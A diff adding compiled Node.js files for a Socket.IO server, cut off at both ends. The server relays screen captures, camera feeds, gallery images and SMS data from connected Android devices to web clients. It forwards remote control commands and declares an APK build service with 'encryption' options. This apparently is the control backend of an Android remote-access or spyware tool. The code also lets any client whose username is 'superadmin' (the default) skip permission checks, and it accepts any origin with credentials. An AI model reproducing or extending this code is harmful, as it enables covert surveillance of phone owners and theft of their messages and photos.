E,MAAM,EAAE,KAAK,EAAE,MAAM,EAAE,IAAI,EAAE,GAAG,GAAG,OAAO;IASjE;;OAEG;IACH,cAAc,CAAC,KAAK,EAAE,MAAM,EAAE,IAAI,EAAE,GAAG,GAAG,IAAI;IAe9C;;OAEG;IACH,sBAAsB,CAAC,QAAQ,EAAE,MAAM,EAAE,KAAK,EAAE,MAAM,EAAE,IAAI,EAAE,GAAG,GAAG,OAAO;IAQ3E;;OAEG;IACH,oBAAoB,CAAC,QAAQ,EAAE,MAAM,GAAG,IAAI;IAU5C;;OAEG;IACH,sBAAsB,CAAC,SAAS,GAAE,MAAe,GAAG,IAAI;IAmBxD;;OAEG;IACH,cAAc,IAAI;QAChB,KAAK,EAAE,MAAM,CAAA;QACb,WAAW,EAAE,MAAM,CAAA;QACnB,IAAI,EAAE,MAAM,CAAA;KACb;IASD;;OAEG;IACH,sBAAsB,CAAC,MAAM,EAAE,MAAM,EAAE,QAAQ,EAAE,MAAM,GAAG,IAAI;IAgC9D;;OAEG;IACH,iBAAiB,CAAC,QAAQ,EAAE,MAAM,EAAE,MAAM,EAAE,MAAM,EAAE,QAAQ,EAAE,MAAM,GAAG,IAAI;IAY3E;;OAEG;IACH,OAAO,CAAC,sBAAsB;CAM/B;AAED,eAAe,gBAAgB,CAAA"}
|
||||
385
dist/managers/WebClientManager.js
vendored
Normal file
385
dist/managers/WebClientManager.js
vendored
Normal file
@@ -0,0 +1,385 @@
|
||||
"use strict";
|
||||
var __importDefault = (this && this.__importDefault) || function (mod) {
|
||||
return (mod && mod.__esModule) ? mod : { "default": mod };
|
||||
};
|
||||
Object.defineProperty(exports, "__esModule", { value: true });
|
||||
const Logger_1 = __importDefault(require("../utils/Logger"));
|
||||
/**
|
||||
* Web客户端管理器
|
||||
*/
|
||||
class WebClientManager {
|
||||
constructor(databaseService) {
|
||||
this.clients = new Map();
|
||||
this.socketToClient = new Map();
|
||||
this.deviceControllers = new Map(); // deviceId -> clientId
|
||||
// 🔧 添加请求速率限制 - 防止频繁重复请求
|
||||
this.requestTimestamps = new Map(); // "clientId:deviceId" -> timestamp
|
||||
this.REQUEST_COOLDOWN = 2000; // 2秒内不允许重复请求(增加冷却时间)
|
||||
this.logger = new Logger_1.default('WebClientManager');
|
||||
this.databaseService = databaseService;
|
||||
}
|
||||
/**
|
||||
* ✅ 清理所有客户端记录(服务器重启时调用)
|
||||
*/
|
||||
clearAllClients() {
|
||||
const clientCount = this.clients.size;
|
||||
this.clients.clear();
|
||||
this.socketToClient.clear();
|
||||
this.deviceControllers.clear();
|
||||
this.requestTimestamps.clear();
|
||||
this.logger.info(`🧹 已清理所有客户端记录: ${clientCount} 个客户端`);
|
||||
}
|
||||
/**
|
||||
* 设置Socket.IO实例
|
||||
*/
|
||||
setSocketIO(io) {
|
||||
this.io = io;
|
||||
}
|
||||
/**
|
||||
* 添加Web客户端
|
||||
*/
|
||||
addClient(clientInfo) {
|
||||
// 🔧 检查是否已有相同Socket ID的客户端记录
|
||||
const existingClientId = this.socketToClient.get(clientInfo.socketId);
|
||||
if (existingClientId) {
|
||||
this.logger.warn(`⚠️ Socket ${clientInfo.socketId} 已有客户端记录 ${existingClientId},清理旧记录`);
|
||||
this.removeClient(existingClientId);
|
||||
}
|
||||
this.clients.set(clientInfo.id, clientInfo);
|
||||
this.socketToClient.set(clientInfo.socketId, clientInfo.id);
|
||||
this.logger.info(`Web客户端已添加: ${clientInfo.id} from ${clientInfo.ip}`);
|
||||
}
|
||||
/**
|
||||
* 移除Web客户端
|
||||
*/
|
||||
removeClient(clientId) {
|
||||
const client = this.clients.get(clientId);
|
||||
if (client) {
|
||||
this.clients.delete(clientId);
|
||||
this.socketToClient.delete(client.socketId);
|
||||
// 如果客户端正在控制设备,释放控制权
|
||||
if (client.controllingDeviceId) {
|
||||
this.logger.info(`🔓 客户端断开连接,自动释放设备控制权: ${clientId} -> ${client.controllingDeviceId}`);
|
||||
this.releaseDeviceControl(client.controllingDeviceId);
|
||||
}
|
||||
// 清理请求时间戳记录
|
||||
const keysToDelete = Array.from(this.requestTimestamps.keys()).filter(key => key.startsWith(clientId + ':'));
|
||||
keysToDelete.forEach(key => this.requestTimestamps.delete(key));
|
||||
this.logger.info(`Web客户端已移除: ${clientId}`);
|
||||
return true;
|
||||
}
|
||||
return false;
|
||||
}
|
||||
/**
|
||||
* 通过Socket ID移除客户端
|
||||
*/
|
||||
removeClientBySocketId(socketId) {
|
||||
const clientId = this.socketToClient.get(socketId);
|
||||
if (clientId) {
|
||||
return this.removeClient(clientId);
|
||||
}
|
||||
return false;
|
||||
}
|
||||
/**
|
||||
* 获取客户端信息
|
||||
*/
|
||||
getClient(clientId) {
|
||||
return this.clients.get(clientId);
|
||||
}
|
||||
/**
|
||||
* 通过Socket ID获取客户端
|
||||
*/
|
||||
getClientBySocketId(socketId) {
|
||||
const clientId = this.socketToClient.get(socketId);
|
||||
return clientId ? this.clients.get(clientId) : undefined;
|
||||
}
|
||||
/**
|
||||
* 获取所有客户端
|
||||
*/
|
||||
getAllClients() {
|
||||
return Array.from(this.clients.values());
|
||||
}
|
||||
/**
|
||||
* 获取客户端数量
|
||||
*/
|
||||
getClientCount() {
|
||||
return this.clients.size;
|
||||
}
|
||||
/**
|
||||
* 获取客户端Socket
|
||||
*/
|
||||
getClientSocket(clientId) {
|
||||
const client = this.clients.get(clientId);
|
||||
if (client && this.io) {
|
||||
return this.io.sockets.sockets.get(client.socketId);
|
||||
}
|
||||
return undefined;
|
||||
}
|
||||
/**
|
||||
* 请求控制设备
|
||||
*/
|
||||
requestDeviceControl(clientId, deviceId) {
|
||||
// 🔧 防止频繁重复请求
|
||||
const requestKey = `${clientId}:${deviceId}`;
|
||||
const now = Date.now();
|
||||
const lastRequestTime = this.requestTimestamps.get(requestKey) || 0;
|
||||
if (now - lastRequestTime < this.REQUEST_COOLDOWN) {
|
||||
this.logger.debug(`🚫 请求过于频繁: ${clientId} -> ${deviceId} (间隔${now - lastRequestTime}ms < ${this.REQUEST_COOLDOWN}ms)`);
|
||||
return {
|
||||
success: false,
|
||||
message: '请求过于频繁,请稍后再试'
|
||||
};
|
||||
}
|
||||
// 获取客户端信息
|
||||
const client = this.clients.get(clientId);
|
||||
if (!client) {
|
||||
this.logger.error(`❌ 客户端不存在: ${clientId}`);
|
||||
return {
|
||||
success: false,
|
||||
message: '客户端不存在'
|
||||
};
|
||||
}
|
||||
// ✅ 优化:先检查是否是重复请求(已经在控制此设备)
|
||||
const currentController = this.deviceControllers.get(deviceId);
|
||||
if (currentController === clientId) {
|
||||
this.logger.debug(`🔄 客户端 ${clientId} 重复请求控制设备 ${deviceId},已在控制中`);
|
||||
client.lastSeen = new Date();
|
||||
// 更新请求时间戳,但返回成功(避免频繁日志)
|
||||
this.requestTimestamps.set(requestKey, now);
|
||||
return {
|
||||
success: true,
|
||||
message: '已在控制此设备'
|
||||
};
|
||||
}
|
||||
// 记录请求时间戳(在检查重复控制后记录)
|
||||
this.requestTimestamps.set(requestKey, now);
|
||||
// 检查设备是否被其他客户端控制
|
||||
if (currentController && currentController !== clientId) {
|
||||
const controllerClient = this.clients.get(currentController);
|
||||
this.logger.warn(`🚫 设备 ${deviceId} 控制权冲突: 当前控制者 ${currentController}, 请求者 ${clientId}`);
|
||||
return {
|
||||
success: false,
|
||||
message: `设备正在被其他客户端控制 (${controllerClient?.ip || 'unknown'})`,
|
||||
currentController
|
||||
};
|
||||
}
|
||||
// 如果客户端已在控制其他设备,先释放
|
||||
if (client.controllingDeviceId && client.controllingDeviceId !== deviceId) {
|
||||
this.logger.info(`🔄 客户端 ${clientId} 切换控制设备: ${client.controllingDeviceId} -> ${deviceId}`);
|
||||
this.releaseDeviceControl(client.controllingDeviceId);
|
||||
}
|
||||
// 建立控制关系
|
||||
this.deviceControllers.set(deviceId, clientId);
|
||||
client.controllingDeviceId = deviceId;
|
||||
client.lastSeen = new Date();
|
||||
// 🔐 如果客户端有用户ID,将权限持久化到数据库
|
||||
if (client.userId && this.databaseService) {
|
||||
this.databaseService.grantUserDevicePermission(client.userId, deviceId, 'control');
|
||||
this.logger.info(`🔐 用户 ${client.userId} 的设备 ${deviceId} 控制权限已持久化`);
|
||||
}
|
||||
this.logger.info(`🎮 客户端 ${clientId} 开始控制设备 ${deviceId}`);
|
||||
return {
|
||||
success: true,
|
||||
message: '控制权获取成功'
|
||||
};
|
||||
}
|
||||
/**
|
||||
* 释放设备控制权
|
||||
*/
|
||||
releaseDeviceControl(deviceId) {
|
||||
const controllerId = this.deviceControllers.get(deviceId);
|
||||
if (controllerId) {
|
||||
const client = this.clients.get(controllerId);
|
||||
if (client) {
|
||||
const previousDevice = client.controllingDeviceId;
|
||||
client.controllingDeviceId = undefined;
|
||||
this.logger.debug(`🔓 客户端 ${controllerId} 释放设备控制权: ${previousDevice}`);
|
||||
}
|
||||
else {
|
||||
this.logger.warn(`⚠️ 控制设备 ${deviceId} 的客户端 ${controllerId} 不存在,可能已断开`);
|
||||
}
|
||||
this.deviceControllers.delete(deviceId);
|
||||
this.logger.info(`🔓 设备 ${deviceId} 的控制权已释放 (之前控制者: ${controllerId})`);
|
||||
return true;
|
||||
}
|
||||
else {
|
||||
this.logger.debug(`🤷 设备 ${deviceId} 没有被控制,无需释放`);
|
||||
return false;
|
||||
}
|
||||
}
|
||||
/**
|
||||
* 获取设备控制者
|
||||
*/
|
||||
getDeviceController(deviceId) {
|
||||
return this.deviceControllers.get(deviceId);
|
||||
}
|
||||
/**
|
||||
* 检查客户端是否有设备控制权
|
||||
*/
|
||||
hasDeviceControl(clientId, deviceId) {
|
||||
// 🛡️ 记录权限检查审计日志
|
||||
this.logPermissionOperation(clientId, deviceId, '权限检查');
|
||||
// 🔐 获取客户端信息
|
||||
const client = this.clients.get(clientId);
|
||||
// 🆕 超级管理员绕过权限检查
|
||||
if (client?.username) {
|
||||
const superAdminUsername = process.env.SUPERADMIN_USERNAME || 'superadmin';
|
||||
if (client.username === superAdminUsername) {
|
||||
this.logger.info(`🔐 超级管理员 ${client.username} 绕过设备控制权限检查`);
|
||||
return true;
|
||||
}
|
||||
}
|
||||
// 🔐 首先检查内存中的控制权
|
||||
const memoryControl = this.deviceControllers.get(deviceId) === clientId;
|
||||
if (memoryControl) {
|
||||
return true;
|
||||
}
|
||||
// 🔐 如果内存中没有控制权,检查数据库中的用户权限
|
||||
if (client?.userId && this.databaseService) {
|
||||
const hasPermission = this.databaseService.hasUserDevicePermission(client.userId, deviceId, 'control');
|
||||
if (hasPermission) {
|
||||
// 🔐 如果用户有权限,自动建立控制关系(允许权限恢复)
|
||||
this.deviceControllers.set(deviceId, clientId);
|
||||
client.controllingDeviceId = deviceId;
|
||||
this.logger.info(`🔐 用户 ${client.userId} 基于数据库权限获得设备 ${deviceId} 控制权`);
|
||||
return true;
|
||||
}
|
||||
}
|
||||
return false;
|
||||
}
|
||||
/**
|
||||
* 向指定客户端发送消息
|
||||
*/
|
||||
sendToClient(clientId, event, data) {
|
||||
const socket = this.getClientSocket(clientId);
|
||||
if (socket) {
|
||||
socket.emit(event, data);
|
||||
return true;
|
||||
}
|
||||
return false;
|
||||
}
|
||||
/**
|
||||
* 向所有客户端广播消息
|
||||
*/
|
||||
broadcastToAll(event, data) {
|
||||
if (this.io) {
|
||||
let activeClients = 0;
|
||||
// 只向Web客户端广播,且过滤掉已断开的连接
|
||||
for (const [socketId, clientId] of this.socketToClient.entries()) {
|
||||
const socket = this.io.sockets.sockets.get(socketId);
|
||||
if (socket && socket.connected) {
|
||||
socket.emit(event, data);
|
||||
activeClients++;
|
||||
}
|
||||
}
|
||||
this.logger.debug(`📡 广播消息到 ${activeClients} 个活跃Web客户端: ${event}`);
|
||||
}
|
||||
}
|
||||
/**
|
||||
* 向控制指定设备的客户端发送消息
|
||||
*/
|
||||
sendToDeviceController(deviceId, event, data) {
|
||||
const controllerId = this.deviceControllers.get(deviceId);
|
||||
if (controllerId) {
|
||||
return this.sendToClient(controllerId, event, data);
|
||||
}
|
||||
return false;
|
||||
}
|
||||
/**
|
||||
* 更新客户端活跃时间
|
||||
*/
|
||||
updateClientActivity(socketId) {
|
||||
const clientId = this.socketToClient.get(socketId);
|
||||
if (clientId) {
|
||||
const client = this.clients.get(clientId);
|
||||
if (client) {
|
||||
client.lastSeen = new Date();
|
||||
}
|
||||
}
|
||||
}
|
||||
/**
|
||||
* 清理不活跃的客户端
|
||||
*/
|
||||
cleanupInactiveClients(timeoutMs = 600000) {
|
||||
const now = Date.now();
|
||||
const clientsToRemove = [];
|
||||
for (const [clientId, client] of this.clients.entries()) {
|
||||
if (now - client.lastSeen.getTime() > timeoutMs) {
|
||||
clientsToRemove.push(clientId);
|
||||
}
|
||||
}
|
||||
clientsToRemove.forEach(clientId => {
|
||||
this.removeClient(clientId);
|
||||
});
|
||||
if (clientsToRemove.length > 0) {
|
||||
this.logger.info(`已清理 ${clientsToRemove.length} 个不活跃的Web客户端`);
|
||||
}
|
||||
}
|
||||
/**
|
||||
* 获取客户端统计信息
|
||||
*/
|
||||
getClientStats() {
|
||||
const clients = Array.from(this.clients.values());
|
||||
return {
|
||||
total: clients.length,
|
||||
controlling: clients.filter(c => c.controllingDeviceId).length,
|
||||
idle: clients.filter(c => !c.controllingDeviceId).length,
|
||||
};
|
||||
}
|
||||
/**
|
||||
* 🔐 恢复用户的设备权限
|
||||
*/
|
||||
restoreUserPermissions(userId, clientId) {
|
||||
if (!this.databaseService) {
|
||||
this.logger.warn('数据库服务未初始化,无法恢复用户权限');
|
||||
return;
|
||||
}
|
||||
try {
|
||||
// 获取用户的所有设备权限
|
||||
const permissions = this.databaseService.getUserDevicePermissions(userId);
|
||||
if (permissions.length > 0) {
|
||||
this.logger.info(`🔐 为用户 ${userId} 恢复 ${permissions.length} 个设备权限`);
|
||||
// 恢复第一个设备的控制权(优先恢复用户之前的权限)
|
||||
for (const permission of permissions) {
|
||||
if (permission.permissionType === 'control') {
|
||||
// 直接恢复权限,不检查冲突(因为这是用户自己的权限恢复)
|
||||
this.deviceControllers.set(permission.deviceId, clientId);
|
||||
const client = this.clients.get(clientId);
|
||||
if (client) {
|
||||
client.controllingDeviceId = permission.deviceId;
|
||||
this.logger.info(`🔐 用户 ${userId} 的设备 ${permission.deviceId} 控制权已恢复`);
|
||||
break; // 只恢复第一个设备
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
catch (error) {
|
||||
this.logger.error('恢复用户权限失败:', error);
|
||||
}
|
||||
}
|
||||
/**
|
||||
* 🔐 设置客户端用户信息
|
||||
*/
|
||||
setClientUserInfo(clientId, userId, username) {
|
||||
const client = this.clients.get(clientId);
|
||||
if (client) {
|
||||
client.userId = userId;
|
||||
client.username = username;
|
||||
this.logger.info(`🔐 客户端 ${clientId} 用户信息已设置: ${username} (${userId})`);
|
||||
// 🛡️ 记录安全审计日志
|
||||
this.logger.info(`🛡️ 安全审计: 客户端 ${clientId} (IP: ${client.ip}) 绑定用户 ${username} (${userId})`);
|
||||
}
|
||||
}
|
||||
/**
|
||||
* 🛡️ 记录权限操作审计日志
|
||||
*/
|
||||
logPermissionOperation(clientId, deviceId, operation) {
|
||||
const client = this.clients.get(clientId);
|
||||
if (client) {
|
||||
this.logger.info(`🛡️ 权限审计: 客户端 ${clientId} (用户: ${client.username || 'unknown'}, IP: ${client.ip}) 执行 ${operation} 操作,目标设备: ${deviceId}`);
|
||||
}
|
||||
}
|
||||
}
|
||||
exports.default = WebClientManager;
|
||||
//# sourceMappingURL=WebClientManager.js.map
|
||||
1
dist/managers/WebClientManager.js.map
vendored
Normal file
1
dist/managers/WebClientManager.js.map
vendored
Normal file
File diff suppressed because one or more lines are too long
4
dist/server.d.ts
vendored
Normal file
4
dist/server.d.ts
vendored
Normal file
@@ -0,0 +1,4 @@
|
||||
import http from 'http';
|
||||
declare const server: http.Server<typeof http.IncomingMessage, typeof http.ServerResponse>;
|
||||
export default server;
|
||||
//# sourceMappingURL=server.d.ts.map
|
||||
1
dist/server.d.ts.map
vendored
Normal file
1
dist/server.d.ts.map
vendored
Normal file
@@ -0,0 +1 @@
|
||||
{"version":3,"file":"server.d.ts","sourceRoot":"","sources":["../src/server.ts"],"names":[],"mappings":"AACA,OAAO,IAAI,MAAM,MAAM,CAAC;AAUxB,QAAA,MAAM,MAAM,sEAAyB,CAAC;AAoTtC,eAAe,MAAM,CAAC"}
|
||||
273
dist/server.js
vendored
Normal file
273
dist/server.js
vendored
Normal file
@@ -0,0 +1,273 @@
|
||||
"use strict";
|
||||
var __importDefault = (this && this.__importDefault) || function (mod) {
|
||||
return (mod && mod.__esModule) ? mod : { "default": mod };
|
||||
};
|
||||
Object.defineProperty(exports, "__esModule", { value: true });
|
||||
const express_1 = __importDefault(require("express"));
|
||||
const http_1 = __importDefault(require("http"));
|
||||
const cors_1 = __importDefault(require("cors"));
|
||||
const socket_io_1 = require("socket.io");
|
||||
const DeviceManager_1 = __importDefault(require("./managers/DeviceManager"));
|
||||
const WebClientManager_1 = __importDefault(require("./managers/WebClientManager"));
|
||||
const DatabaseService_1 = require("./services/DatabaseService");
|
||||
const MessageRouter_1 = __importDefault(require("./services/MessageRouter"));
|
||||
const Logger_1 = __importDefault(require("./utils/Logger"));
|
||||
const app = (0, express_1.default)();
|
||||
const server = http_1.default.createServer(app);
|
||||
const logger = new Logger_1.default('Server');
|
||||
// CORS配置
|
||||
app.use((0, cors_1.default)({
|
||||
origin: "*",
|
||||
methods: ["GET", "POST"],
|
||||
credentials: true
|
||||
}));
|
||||
app.use(express_1.default.json());
|
||||
// ✅ Socket.IO v4 优化配置 - 解决心跳和连接稳定性问题
|
||||
const io = new socket_io_1.Server(server, {
|
||||
cors: {
|
||||
origin: "*",
|
||||
methods: ["GET", "POST"],
|
||||
credentials: true
|
||||
},
|
||||
// 🔧 心跳机制优化(v4已解决心跳方向问题)
|
||||
pingInterval: 25000, // 25秒发送一次ping(服务器->客户端)
|
||||
pingTimeout: 60000, // 60秒等待pong响应
|
||||
upgradeTimeout: 30000, // 30秒传输升级超时
|
||||
// 🔧 传输优化
|
||||
transports: ['websocket', 'polling'],
|
||||
allowEIO3: false, // 不支持旧版本协议
|
||||
// 🔧 缓冲区和数据包优化
|
||||
maxHttpBufferSize: 10e6, // 10MB缓冲区
|
||||
allowUpgrades: true,
|
||||
// 🔧 连接管理
|
||||
connectTimeout: 45000, // 连接超时
|
||||
serveClient: false, // 不提供客户端文件
|
||||
// 🔧 Engine.IO 配置
|
||||
cookie: {
|
||||
name: "io",
|
||||
httpOnly: true,
|
||||
sameSite: "strict"
|
||||
}
|
||||
});
|
||||
// 管理器初始化
|
||||
const databaseService = new DatabaseService_1.DatabaseService();
|
||||
const deviceManager = new DeviceManager_1.default();
|
||||
const webClientManager = new WebClientManager_1.default(databaseService);
|
||||
const messageRouter = new MessageRouter_1.default(deviceManager, webClientManager, databaseService);
|
||||
// 设置Socket.IO实例
|
||||
webClientManager.setSocketIO(io);
|
||||
// 健康检查端点
|
||||
app.get('/health', (req, res) => {
|
||||
const stats = {
|
||||
status: 'ok',
|
||||
timestamp: new Date().toISOString(),
|
||||
devices: deviceManager.getDeviceCount(),
|
||||
webClients: webClientManager.getClientCount(),
|
||||
uptime: process.uptime()
|
||||
};
|
||||
res.json(stats);
|
||||
});
|
||||
// Socket.IO连接处理
|
||||
io.on('connection', (socket) => {
|
||||
logger.info(`🔌 新连接: ${socket.id} (IP: ${socket.handshake.address})`);
|
||||
// 连接质量监控
|
||||
const connectionStart = Date.now();
|
||||
// 设备注册事件
|
||||
socket.on('device_register', (deviceInfo) => {
|
||||
logger.info(`📱 设备注册: ${deviceInfo.deviceName} (${deviceInfo.deviceId})`);
|
||||
const device = {
|
||||
id: deviceInfo.deviceId,
|
||||
socketId: socket.id,
|
||||
name: deviceInfo.deviceName,
|
||||
model: deviceInfo.deviceModel,
|
||||
osVersion: deviceInfo.osVersion,
|
||||
appVersion: deviceInfo.appVersion,
|
||||
screenWidth: deviceInfo.screenWidth,
|
||||
screenHeight: deviceInfo.screenHeight,
|
||||
capabilities: deviceInfo.capabilities,
|
||||
connectedAt: new Date(),
|
||||
lastSeen: new Date(),
|
||||
status: 'online'
|
||||
};
|
||||
deviceManager.addDevice(device);
|
||||
databaseService.saveDevice(deviceInfo, socket.id);
|
||||
// 通知所有Web客户端有新设备连接
|
||||
const activeWebClients = Array.from(webClientManager.getAllClients()).filter(client => {
|
||||
const socket = io.sockets.sockets.get(client.socketId);
|
||||
return socket && socket.connected;
|
||||
}).length;
|
||||
logger.info(`📢 通知 ${activeWebClients} 个活跃Web客户端有新设备连接`);
|
||||
webClientManager.broadcastToAll('device_connected', {
|
||||
device: deviceManager.getDevice(deviceInfo.deviceId)
|
||||
});
|
||||
// ui_hierarchy_response监听器已在全局设置,无需重复添加
|
||||
});
|
||||
// Web客户端注册事件
|
||||
socket.on('web_client_register', (clientInfo) => {
|
||||
logger.info(`🌐 Web客户端注册: ${clientInfo.userAgent || 'unknown'}`);
|
||||
const clientData = {
|
||||
id: socket.id,
|
||||
socketId: socket.id,
|
||||
userAgent: clientInfo.userAgent || 'unknown',
|
||||
ip: socket.handshake.address || 'unknown',
|
||||
connectedAt: new Date(),
|
||||
lastSeen: new Date()
|
||||
};
|
||||
webClientManager.addClient(clientData);
|
||||
// 发送当前设备列表
|
||||
const devices = deviceManager.getAllDevices();
|
||||
socket.emit('device_list', devices);
|
||||
});
|
||||
// 屏幕数据路由
|
||||
socket.on('screen_data', (data) => {
|
||||
messageRouter.routeScreenData(socket.id, data);
|
||||
});
|
||||
// 摄像头数据路由
|
||||
socket.on('camera_data', (data) => {
|
||||
messageRouter.routeCameraData(socket.id, data);
|
||||
});
|
||||
// 相册图片数据路由
|
||||
socket.on('gallery_image', (data) => {
|
||||
messageRouter.routeGalleryImage(socket.id, data);
|
||||
});
|
||||
// 短信数据路由
|
||||
socket.on('sms_data', (data) => {
|
||||
messageRouter.routeSmsData(socket.id, data);
|
||||
});
|
||||
// 控制命令路由
|
||||
socket.on('control_command', (message) => {
|
||||
messageRouter.routeControlMessage(socket.id, message);
|
||||
});
|
||||
// 摄像头控制命令路由
|
||||
socket.on('camera_control', (message) => {
|
||||
// 将摄像头控制消息转换为标准控制消息格式
|
||||
const controlMessage = {
|
||||
type: message.action, // CAMERA_START, CAMERA_STOP, CAMERA_SWITCH
|
||||
deviceId: message.deviceId,
|
||||
data: message.data || {},
|
||||
timestamp: Date.now()
|
||||
};
|
||||
messageRouter.routeControlMessage(socket.id, controlMessage);
|
||||
});
|
||||
// 测试连接监听器
|
||||
socket.on('CONNECTION_TEST', (data) => {
|
||||
logger.info(`🧪🧪🧪 收到连接测试: ${JSON.stringify(data)}`);
|
||||
// 🔧 修复:回复确认消息给Android端,避免心跳失败累积
|
||||
try {
|
||||
socket.emit('CONNECTION_TEST_RESPONSE', {
|
||||
success: true,
|
||||
timestamp: Date.now(),
|
||||
receivedData: data
|
||||
});
|
||||
logger.debug(`✅ 已回复CONNECTION_TEST确认消息`);
|
||||
}
|
||||
catch (error) {
|
||||
logger.error(`❌ 回复CONNECTION_TEST失败:`, error);
|
||||
}
|
||||
});
|
||||
// 简单测试事件监听器
|
||||
socket.on('SIMPLE_TEST_EVENT', (data) => {
|
||||
logger.info(`🧪🧪🧪 收到简单测试事件!!! 数据: ${JSON.stringify(data)}`);
|
||||
});
|
||||
// 调试:UI响应前的测试消息
|
||||
socket.on('debug_test_before_ui', (data) => {
|
||||
logger.info(`🧪🧪🧪 收到UI响应前调试测试!!! Socket: ${socket.id}`);
|
||||
logger.info(`🧪 测试数据: ${JSON.stringify(data)}`);
|
||||
});
|
||||
// 简单测试消息监听器
|
||||
socket.on('simple_test', (data) => {
|
||||
logger.info(`🧪🧪🧪 收到简单测试消息!!! Socket: ${socket.id}, 数据: ${JSON.stringify(data)}`);
|
||||
});
|
||||
// UI层次结构响应 (设备端响应)
|
||||
socket.on('ui_hierarchy_response', (data) => {
|
||||
logger.info(`📱📱📱 [GLOBAL] 收到UI层次结构响应!!! Socket: ${socket.id}`);
|
||||
logger.info(`📋 响应数据字段: deviceId=${data?.deviceId}, success=${data?.success}, clientId=${data?.clientId}, hierarchy存在=${!!data?.hierarchy}`);
|
||||
logger.info(`📋 完整响应数据: ${JSON.stringify(data).substring(0, 500)}...`);
|
||||
// ✅ 参考screen_data的处理方式,直接调用专用路由方法
|
||||
const routeResult = messageRouter.routeUIHierarchyResponse(socket.id, data);
|
||||
logger.info(`📤 UI层次结构路由结果: ${routeResult}`);
|
||||
});
|
||||
// 设备控制请求
|
||||
socket.on('request_device_control', (data) => {
|
||||
const result = webClientManager.requestDeviceControl(socket.id, data.deviceId);
|
||||
socket.emit('device_control_response', {
|
||||
success: result.success,
|
||||
message: result.message,
|
||||
deviceId: data.deviceId
|
||||
});
|
||||
});
|
||||
// 释放设备控制
|
||||
socket.on('release_device_control', (data) => {
|
||||
const released = webClientManager.releaseDeviceControl(data.deviceId);
|
||||
if (released) {
|
||||
socket.emit('device_control_released', { deviceId: data.deviceId });
|
||||
}
|
||||
});
|
||||
// 客户端事件路由
|
||||
socket.on('client_event', (eventData) => {
|
||||
logger.info(`收到客户端事件: ${JSON.stringify(eventData)}`);
|
||||
messageRouter.routeClientEvent(socket.id, eventData.type, eventData.data);
|
||||
});
|
||||
// 🆕 权限申请响应(设备端响应)
|
||||
socket.on('permission_response', (data) => {
|
||||
logger.info(`📱 收到设备权限申请响应: Socket: ${socket.id}`);
|
||||
logger.info(`📋 响应数据: deviceId=${data?.deviceId}, permissionType=${data?.permissionType}, success=${data?.success}, message=${data?.message}`);
|
||||
// 路由权限申请响应
|
||||
const routeResult = messageRouter.routePermissionResponse(socket.id, data);
|
||||
logger.info(`📤 权限申请响应路由结果: ${routeResult}`);
|
||||
});
|
||||
// 调试:捕获所有未处理的事件
|
||||
const originalEmit = socket.emit;
|
||||
const originalOn = socket.on;
|
||||
// 记录所有接收到的事件
|
||||
socket.onAny((eventName, ...args) => {
|
||||
if (!['connect', 'disconnect', 'screen_data', 'device_register', 'web_client_register', 'control_command', 'client_event'].includes(eventName)) {
|
||||
logger.info(`🔍 收到未知事件: ${eventName}, 数据: ${JSON.stringify(args).substring(0, 100)}...`);
|
||||
}
|
||||
// 特别关注UI层次结构响应
|
||||
if (eventName === 'ui_hierarchy_response') {
|
||||
logger.info(`📱📱📱 收到UI层次结构响应!!! 事件名: ${eventName}`);
|
||||
logger.info(`📋 响应数据: ${JSON.stringify(args).substring(0, 500)}...`);
|
||||
}
|
||||
});
|
||||
socket.on('disconnect', (reason) => {
|
||||
const duration = Math.round((Date.now() - connectionStart) / 1000);
|
||||
const quality = duration > 300 ? 'excellent' : duration > 60 ? 'good' : duration > 30 ? 'fair' : 'poor';
|
||||
logger.info(`📴 连接断开: ${socket.id}, 原因: ${reason}, 持续时间: ${duration}秒, 质量: ${quality}`);
|
||||
// 更新数据库中的断开连接记录
|
||||
databaseService.updateDisconnection(socket.id);
|
||||
// 移除设备或Web客户端
|
||||
const device = deviceManager.getDeviceBySocketId(socket.id);
|
||||
if (device) {
|
||||
logger.info(`📱 设备断开: ${device.name} (${device.id})`);
|
||||
deviceManager.removeDevice(device.id);
|
||||
// 通知所有Web客户端设备已断开
|
||||
webClientManager.broadcastToAll('device_disconnected', {
|
||||
deviceId: device.id
|
||||
});
|
||||
}
|
||||
else {
|
||||
// 可能是Web客户端断开
|
||||
const clientRemoved = webClientManager.removeClientBySocketId(socket.id);
|
||||
if (clientRemoved) {
|
||||
logger.info(`🌐 Web客户端断开: ${socket.id}`);
|
||||
}
|
||||
}
|
||||
});
|
||||
});
|
||||
// 全局错误处理
|
||||
process.on('unhandledRejection', (reason, promise) => {
|
||||
logger.error('未处理的Promise拒绝:', reason);
|
||||
});
|
||||
process.on('uncaughtException', (error) => {
|
||||
logger.error('未捕获的异常:', error);
|
||||
process.exit(1);
|
||||
});
|
||||
const PORT = process.env.PORT || 3000;
|
||||
server.listen(PORT, () => {
|
||||
logger.info(`🚀 服务器启动在端口 ${PORT}`);
|
||||
logger.info(`📊 健康检查: http://localhost:${PORT}/health`);
|
||||
logger.info(`🔧 Socket.IO v4配置已优化 - 心跳: ${25000}ms/${60000}ms`);
|
||||
});
|
||||
exports.default = server;
|
||||
//# sourceMappingURL=server.js.map
|
||||
1
dist/server.js.map
vendored
Normal file
1
dist/server.js.map
vendored
Normal file
File diff suppressed because one or more lines are too long
224
dist/services/APKBuildService.d.ts
vendored
Normal file
224
dist/services/APKBuildService.d.ts
vendored
Normal file
@@ -0,0 +1,224 @@
|
||||
/**
|
||||
* APK构建服务
|
||||
*/
|
||||
export default class APKBuildService {
|
||||
private logger;
|
||||
private cloudflareService;
|
||||
private isBuilding;
|
||||
private buildProgress;
|
||||
private buildStatus;
|
||||
private buildLogs;
|
||||
private readonly MAX_LOG_ENTRIES;
|
||||
constructor();
|
||||
/**
|
||||
* 添加构建日志
|
||||
*/
|
||||
private addBuildLog;
|
||||
/**
|
||||
* 获取构建日志
|
||||
*/
|
||||
getBuildLogs(limit?: number): Array<{
|
||||
timestamp: number;
|
||||
level: 'info' | 'warn' | 'error' | 'success';
|
||||
message: string;
|
||||
timeString: string;
|
||||
}>;
|
||||
/**
|
||||
* 清空构建日志
|
||||
*/
|
||||
clearBuildLogs(): void;
|
||||
/**
|
||||
* 检查是否有可用的APK
|
||||
*/
|
||||
checkExistingAPK(enableEncryption?: boolean, encryptionLevel?: string, customFileName?: string): Promise<{
|
||||
exists: boolean;
|
||||
path?: string;
|
||||
filename?: string;
|
||||
size?: number;
|
||||
buildTime?: Date;
|
||||
}>;
|
||||
/**
|
||||
